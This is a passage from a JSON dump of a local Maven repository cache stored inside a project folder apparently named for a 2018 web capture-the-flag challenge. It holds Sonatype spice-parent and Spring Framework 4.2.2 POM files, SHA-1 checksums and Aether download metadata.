    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.sonatype.forge</groupId>\n    <artifactId>forge-parent</artifactId>\n    <version>5</version>\n  </parent>\n  <groupId>org.sonatype.spice</groupId>\n  <artifactId>spice-parent</artifactId>\n  <version>16</version>\n  <packaging>pom</packaging>\n  <name>Sonatype Spice Components</name>\n\n  <scm>\n    <connection>scm:svn:http://svn.sonatype.org/spice/tags/spice-parent-16</connection>\n    <url>http://svn.sonatype.org/spice/tags/spice-parent-16</url>\n    <developerConnection>scm:svn:https://svn.sonatype.org/spice/tags/spice-parent-16</developerConnection>\n  </scm>\n\n  <licenses>\n    <license>\n      <name>Apache Public License 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  \n\t<ciManagement>\n\t  <system>Hudson</system>\n\t  <url>https://grid.sonatype.org/ci/view/Spice/</url>\n\t</ciManagement>\n\t\n  <issueManagement>\n    <system>JIRA</system>\n    <url>https://issues.sonatype.org/browse/SPICE</url>\n  </issueManagement>\n  \n  <properties>\n    <!--\n      2008.12.07 Oleg: reverted to 6.1.12 as http transport only works with that version | Please always sync with\n      mercury-http-transport !!\n    -->\n    <jetty.version>6.1.12</jetty.version>\n    <plexus.version>1.0-beta-3.0.5</plexus.version>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>${plexus.version}</version>\n        <exclusions>\n          <exclusion>\n            <groupId>commons-logging</groupId>\n            <artifactId>commons-logging</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>commons-logging</groupId>\n            <artifactId>commons-logging-api</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>log4j</groupId>\n            <artifactId>log4j</artifactId>\n          </exclusion>\n        </exclusions>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-annotations</artifactId>\n        <version>${plexus.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>1.5.5</version>\n      </dependency>\n      <dependency>\n        <groupId>org.mortbay.jetty</groupId>\n        <artifactId>jetty</artifactId>\n        <version>${jetty.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.mortbay.jetty</groupId>\n        <artifactId>jetty-client</artifactId>\n        <version>${jetty.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.mortbay.jetty</groupId>\n        <artifactId>jetty-util</artifactId>\n        <version>${jetty.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>4.5</version>\n        <scope>test</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <profiles>\n    <profile>\n      <id>m2e</id>\n      <activation>\n        <property>\n          <name>m2e.version</name>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n\t      <plugin>\n\t        <groupId>org.maven.ide.eclipse</groupId>\n\t        <artifactId>lifecycle-mapping</artifactId>\n\t        <version>0.9.9-SNAPSHOT</version>\n\t        <configuration>\n\t          <mappingId>customizable</mappingId>\n\t          <configurators>\n\t            <configurator id=\"org.maven.ide.eclipse.jdt.javaConfigurator\" />\n\t            <configurator id=\"org.maven.ide.eclipse.modello.modelloConfigurator\" />\n\t            <configurator id=\"org.maven.ide.eclipse.plexus.annotations.plexusConfigurator\" />\n\t          </configurators>\n\t          <mojoExecutions>\n\t            <mojoExecution>org.apache.maven.plugins:maven-resources-plugin::</mojoExecution>\n\t          </mojoExecutions>\n\t        </configuration>\n\t      </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-metadata</artifactId>\n          <version>${plexus.version}</version>\n          <executions>\n            <execution>\n              <id>process-classes</id>\n              <goals>\n                <goal>generate-metadata</goal>\n              </goals>\n            </execution>\n            <execution>\n              <id>process-test-classes</id>\n              <goals>\n                <goal>generate-test-metadata</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <version>1.3.8</version>\n          <executions>\n            <execution>\n              <goals>\n                <goal>descriptor</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.4.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          <artifactId>modello-maven-plugin</artifactId>\n          <version>1.0.2</version>\n          <configuration>\n            <useJava5>true</useJava5>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.4.1</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n  \n\t<reporting>\n\t  <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>cobertura-maven-plugin</artifactId>\n        <version>2.3</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>findbugs-maven-plugin</artifactId>\n        <version>1.2</version>\n        <configuration>\n          <omitVisitors>UnreadFields</omitVisitors>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <version>2.1</version>\n      </plugin>\n      <plugin>\n        <artifactId>maven-pmd-plugin</artifactId>\n        <version>2.4</version>\n        <configuration>\n          <targetJdk>1.5</targetJdk>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-plugin-plugin</artifactId>\n        <version>2.5</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>2.5</version>\n        <configuration>\n          <tagletArtifacts>\n            <tagletArtifact>\n              <groupId>org.apache.maven.plugin-tools</groupId>\n              <artifactId>maven-plugin-tools-javadoc</artifactId>\n              <version>2.5</version>\n            </tagletArtifact>\n            <tagletArtifact>\n              <groupId>org.codehaus.plexus</groupId>\n              <artifactId>plexus-javadoc</artifactId>\n              <version>1.0</version>\n            </tagletArtifact>\n          </tagletArtifacts>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.1.1</version>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <!-- Broken, don't know why. -->\n              <report>dependencies</report>\n              <report>project-team</report>\n              <report>mailing-list</report>\n              <report>cim</report>\n              <report>issue-tracking</report>\n              <report>license</report>\n              <report>scm</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n\t  </plugins>\n\t</reporting>\t\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/16/spice-parent-16.pom.sha1",
    "content": "aefd3135046b7c3f5835283bcc3b670fc46692b9"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/17/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:59 CST 2018\nspice-parent-17.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/17/spice-parent-17.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.forge</groupId>\n    <artifactId>forge-parent</artifactId>\n    <version>10</version>\n    <relativePath />\n  </parent>\n\n  <groupId>org.sonatype.spice</groupId>\n  <artifactId>spice-parent</artifactId>\n  <version>17</version>\n  <packaging>pom</packaging>\n\n  <name>Sonatype Spice Components</name>\n\n  <scm>\n    <connection>scm:git:git://github.com/sonatype/oss-parents.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/oss-parents.git</developerConnection>\n    <url>https://github.com/sonatype/spice-parent</url>\n  </scm>\n\n  <licenses>\n    <license>\n      <name>Apache License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <ciManagement>\n    <system>Hudson</system>\n    <url>https://grid.sonatype.org/ci/view/Spice/</url>\n  </ciManagement>\n\n  <issueManagement>\n    <system>JIRA</system>\n    <url>https://issues.sonatype.org/browse/SPICE</url>\n  </issueManagement>\n\n  <properties>\n    <sisu-inject.version>2.1.1</sisu-inject.version>\n    <slf4j.version>1.6.1</slf4j.version>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n\n      <!-- Inject Bean container -->\n      <!-- Spice hosts SISU/Plexus-legacy libraries, and they expect they are embedded into apps having these provided -->\n      <!-- That makes: shouldn't SISU be actually \"provided\" instead? -->\n      <dependency>\n        <groupId>org.sonatype.sisu</groupId>\n        <artifactId>sisu-inject-bean</artifactId>\n        <version>${sisu-inject.version}</version>\n        <scope>runtime</scope>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.sisu</groupId>\n        <artifactId>sisu-guice</artifactId>\n        <version>2.9.4</version>\n        <classifier>no_aop</classifier>\n        <scope>runtime</scope>\n      </dependency>\n      <dependency>\n        <groupId>javax.inject</groupId>\n        <artifactId>javax.inject</artifactId>\n        <version>1</version>\n        <scope>compile</scope>\n      </dependency>\n\n      <!-- Plexus support (the version should be tied to SISU used ones!) -->\n      <!-- Plexus needs to be compiled against, is specific (unlike JSR330-enabled SISU is) -->\n      <dependency>\n        <groupId>org.sonatype.sisu</groupId>\n        <artifactId>sisu-inject-plexus</artifactId>\n        <version>${sisu-inject.version}</version>\n        <scope>compile</scope>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-annotations</artifactId>\n        <version>1.5.5</version>\n        <scope>compile</scope>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-classworlds</artifactId>\n        <version>2.4</version>\n        <scope>compile</scope>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>2.0.5</version>\n        <scope>compile</scope>\n      </dependency>\n\n      <!-- SLF4J Logging -->\n      <!-- Only those needed during compile and runtime phases -->\n      <!-- Spice is a library collection, so only the \"simple\" backend for testing and nothing more -->\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>slf4j-api</artifactId>\n        <version>${slf4j.version}</version>\n        <type>jar</type>\n        <scope>compile</scope>\n      </dependency>\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>jcl-over-slf4j</artifactId>\n        <version>${slf4j.version}</version>\n        <type>jar</type>\n        <scope>runtime</scope>\n      </dependency>\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>jul-to-slf4j</artifactId>\n        <version>${slf4j.version}</version>\n        <type>jar</type>\n        <scope>runtime</scope>\n      </dependency>\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>slf4j-simple</artifactId>\n        <version>${slf4j.version}</version>\n        <type>jar</type>\n        <scope>test</scope>\n      </dependency>\n\n      <!-- Standard test -->\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>4.8.2</version>\n        <scope>test</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-metadata</artifactId>\n          <version>1.5.5</version>\n          <executions>\n            <execution>\n              <id>process-classes</id>\n              <goals>\n                <goal>generate-metadata</goal>\n              </goals>\n            </execution>\n            <execution>\n              <id>process-test-classes</id>\n              <goals>\n                <goal>generate-test-metadata</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>2.5</version>\n        <configuration>\n          <tagletArtifacts>\n            <tagletArtifact>\n              <groupId>org.apache.maven.plugin-tools</groupId>\n              <artifactId>maven-plugin-tools-javadoc</artifactId>\n              <version>2.5</version>\n            </tagletArtifact>\n            <tagletArtifact>\n              <groupId>org.codehaus.plexus</groupId>\n              <artifactId>plexus-javadoc</artifactId>\n              <version>1.0</version>\n            </tagletArtifact>\n          </tagletArtifacts>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.1.1</version>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <!-- Broken, don't know why. -->\n              <report>dependencies</report>\n              <report>project-team</report>\n              <report>mailing-list</report>\n              <report>cim</report>\n              <report>issue-tracking</report>\n              <report>license</report>\n              <report>scm</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n    </plugins>\n  </reporting>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/spice/spice-parent/17/spice-parent-17.pom.sha1",
    "content": "7f500699ef371383492a4d6ee799b1a77ffd82cc"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/boot/spring-boot-starter-test/unknown/spring-boot-starter-test-unknown.jar.lastUpdated",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Tue Jun 05 00:46:24 CST 2018\nhttps\\://repo.maven.apache.org/maven2/.lastUpdated=1528130784792\nhttps\\://repo.maven.apache.org/maven2/.error=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/boot/spring-boot-starter-test/unknown/spring-boot-starter-test-unknown.pom.lastUpdated",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Tue Jun 05 00:46:23 CST 2018\nhttps\\://repo.maven.apache.org/maven2/.lastUpdated=1528130783979\nhttps\\://repo.maven.apache.org/maven2/.error=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/boot/spring-boot-starter-web/unknown/spring-boot-starter-web-unknown.jar.lastUpdated",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Tue Jun 05 00:46:24 CST 2018\nhttps\\://repo.maven.apache.org/maven2/.lastUpdated=1528130784786\nhttps\\://repo.maven.apache.org/maven2/.error=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/boot/spring-boot-starter-web/unknown/spring-boot-starter-web-unknown.pom.lastUpdated",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Tue Jun 05 00:46:23 CST 2018\nhttps\\://repo.maven.apache.org/maven2/.lastUpdated=1528130783462\nhttps\\://repo.maven.apache.org/maven2/.error=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-aop/4.2.2.RELEASE/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\nspring-aop-4.2.2.RELEASE.jar>central=\nspring-aop-4.2.2.RELEASE.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-aop/4.2.2.RELEASE/spring-aop-4.2.2.RELEASE.jar.sha1",
    "content": "b8d352f994790af6b54a5028255232316b74ca20"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-aop/4.2.2.RELEASE/spring-aop-4.2.2.RELEASE.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.springframework</groupId>\n  <artifactId>spring-aop</artifactId>\n  <version>4.2.2.RELEASE</version>\n  <name>Spring AOP</name>\n  <description>Spring AOP</description>\n  <url>https://github.com/spring-projects/spring-framework</url>\n  <organization>\n    <name>Spring IO</name>\n    <url>http://projects.spring.io/spring-framework</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <developers>\n    <developer>\n      <id>jhoeller</id>\n      <name>Juergen Hoeller</name>\n      <email>jhoeller@pivotal.io</email>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:git:git://github.com/spring-projects/spring-framework</connection>\n    <developerConnection>scm:git:git://github.com/spring-projects/spring-framework</developerConnection>\n    <url>https://github.com/spring-projects/spring-framework</url>\n  </scm>\n  <issueManagement>\n    <system>Jira</system>\n    <url>https://jira.springsource.org/browse/SPR</url>\n  </issueManagement>\n  <dependencies>\n    <dependency>\n      <groupId>aopalliance</groupId>\n      <artifactId>aopalliance</artifactId>\n      <version>1.0</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>com.jamonapi</groupId>\n      <artifactId>jamon</artifactId>\n      <version>2.81</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>commons-pool</groupId>\n      <artifactId>commons-pool</artifactId>\n      <version>1.6</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.commons</groupId>\n      <artifactId>commons-pool2</artifactId>\n      <version>2.4.2</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.aspectj</groupId>\n      <artifactId>aspectjweaver</artifactId>\n      <version>1.8.7</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-beans</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-core</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-aop/4.2.2.RELEASE/spring-aop-4.2.2.RELEASE.pom.sha1",
    "content": "2e6f7f19c6cc0833ce165ee34b1b718bd432b1f5"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-beans/4.2.2.RELEASE/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\nspring-beans-4.2.2.RELEASE.jar>central=\nspring-beans-4.2.2.RELEASE.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-beans/4.2.2.RELEASE/spring-beans-4.2.2.RELEASE.jar.sha1",
    "content": "c0384c9b077c02ce34234ba258a5161c30ac6895"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-beans/4.2.2.RELEASE/spring-beans-4.2.2.RELEASE.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.springframework</groupId>\n  <artifactId>spring-beans</artifactId>\n  <version>4.2.2.RELEASE</version>\n  <name>Spring Beans</name>\n  <description>Spring Beans</description>\n  <url>https://github.com/spring-projects/spring-framework</url>\n  <organization>\n    <name>Spring IO</name>\n    <url>http://projects.spring.io/spring-framework</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <developers>\n    <developer>\n      <id>jhoeller</id>\n      <name>Juergen Hoeller</name>\n      <email>jhoeller@pivotal.io</email>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:git:git://github.com/spring-projects/spring-framework</connection>\n    <developerConnection>scm:git:git://github.com/spring-projects/spring-framework</developerConnection>\n    <url>https://github.com/spring-projects/spring-framework</url>\n  </scm>\n  <issueManagement>\n    <system>Jira</system>\n    <url>https://jira.springsource.org/browse/SPR</url>\n  </issueManagement>\n  <dependencies>\n    <dependency>\n      <groupId>javax.el</groupId>\n      <artifactId>javax.el-api</artifactId>\n      <version>2.2.5</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.inject</groupId>\n      <artifactId>javax.inject</artifactId>\n      <version>1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.groovy</groupId>\n      <artifactId>groovy-all</artifactId>\n      <version>2.4.5</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-core</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.yaml</groupId>\n      <artifactId>snakeyaml</artifactId>\n      <version>1.16</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-beans/4.2.2.RELEASE/spring-beans-4.2.2.RELEASE.pom.sha1",
    "content": "1f4f11de2facc99f9f1ae7842526b5a4fdb6dd09"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-context/4.2.2.RELEASE/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\nspring-context-4.2.2.RELEASE.jar>central=\nspring-context-4.2.2.RELEASE.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-context/4.2.2.RELEASE/spring-context-4.2.2.RELEASE.jar.sha1",
    "content": "f384619756dc640498cfbb955352ca9546c4630d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-context/4.2.2.RELEASE/spring-context-4.2.2.RELEASE.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.springframework</groupId>\n  <artifactId>spring-context</artifactId>\n  <version>4.2.2.RELEASE</version>\n  <name>Spring Context</name>\n  <description>Spring Context</description>\n  <url>https://github.com/spring-projects/spring-framework</url>\n  <organization>\n    <name>Spring IO</name>\n    <url>http://projects.spring.io/spring-framework</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <developers>\n    <developer>\n      <id>jhoeller</id>\n      <name>Juergen Hoeller</name>\n      <email>jhoeller@pivotal.io</email>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:git:git://github.com/spring-projects/spring-framework</connection>\n    <developerConnection>scm:git:git://github.com/spring-projects/spring-framework</developerConnection>\n    <url>https://github.com/spring-projects/spring-framework</url>\n  </scm>\n  <issueManagement>\n    <system>Jira</system>\n    <url>https://jira.springsource.org/browse/SPR</url>\n  </issueManagement>\n  <dependencies>\n    <dependency>\n      <groupId>javax.ejb</groupId>\n      <artifactId>ejb-api</artifactId>\n      <version>3.0</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.enterprise.concurrent</groupId>\n      <artifactId>javax.enterprise.concurrent-api</artifactId>\n      <version>1.0</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.inject</groupId>\n      <artifactId>javax.inject</artifactId>\n      <version>1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.money</groupId>\n      <artifactId>money-api</artifactId>\n      <version>1.0</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.validation</groupId>\n      <artifactId>validation-api</artifactId>\n      <version>1.0.0.GA</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>joda-time</groupId>\n      <artifactId>joda-time</artifactId>\n      <version>2.8.2</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.aspectj</groupId>\n      <artifactId>aspectjweaver</artifactId>\n      <version>1.8.7</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.beanshell</groupId>\n      <artifactId>bsh</artifactId>\n      <version>2.0b4</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.groovy</groupId>\n      <artifactId>groovy-all</artifactId>\n      <version>2.4.5</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.eclipse.persistence</groupId>\n      <artifactId>javax.persistence</artifactId>\n      <version>2.0.0</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.hibernate</groupId>\n      <artifactId>hibernate-validator</artifactId>\n      <version>4.3.2.Final</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.jruby</groupId>\n      <artifactId>jruby</artifactId>\n      <version>1.7.22</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-aop</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-beans</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-core</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-expression</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-instrument</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-context/4.2.2.RELEASE/spring-context-4.2.2.RELEASE.pom.sha1",
    "content": "2c0599744991998deb2eca842ece0c67f254b994"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-context-support/4.2.2.RELEASE/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\nspring-context-support-4.2.2.RELEASE.jar>central=\nspring-context-support-4.2.2.RELEASE.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-context-support/4.2.2.RELEASE/spring-context-support-4.2.2.RELEASE.jar.sha1",
    "content": "cfa157cb014248ebeaab19757605f2fc6267d2bd"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-context-support/4.2.2.RELEASE/spring-context-support-4.2.2.RELEASE.pom",
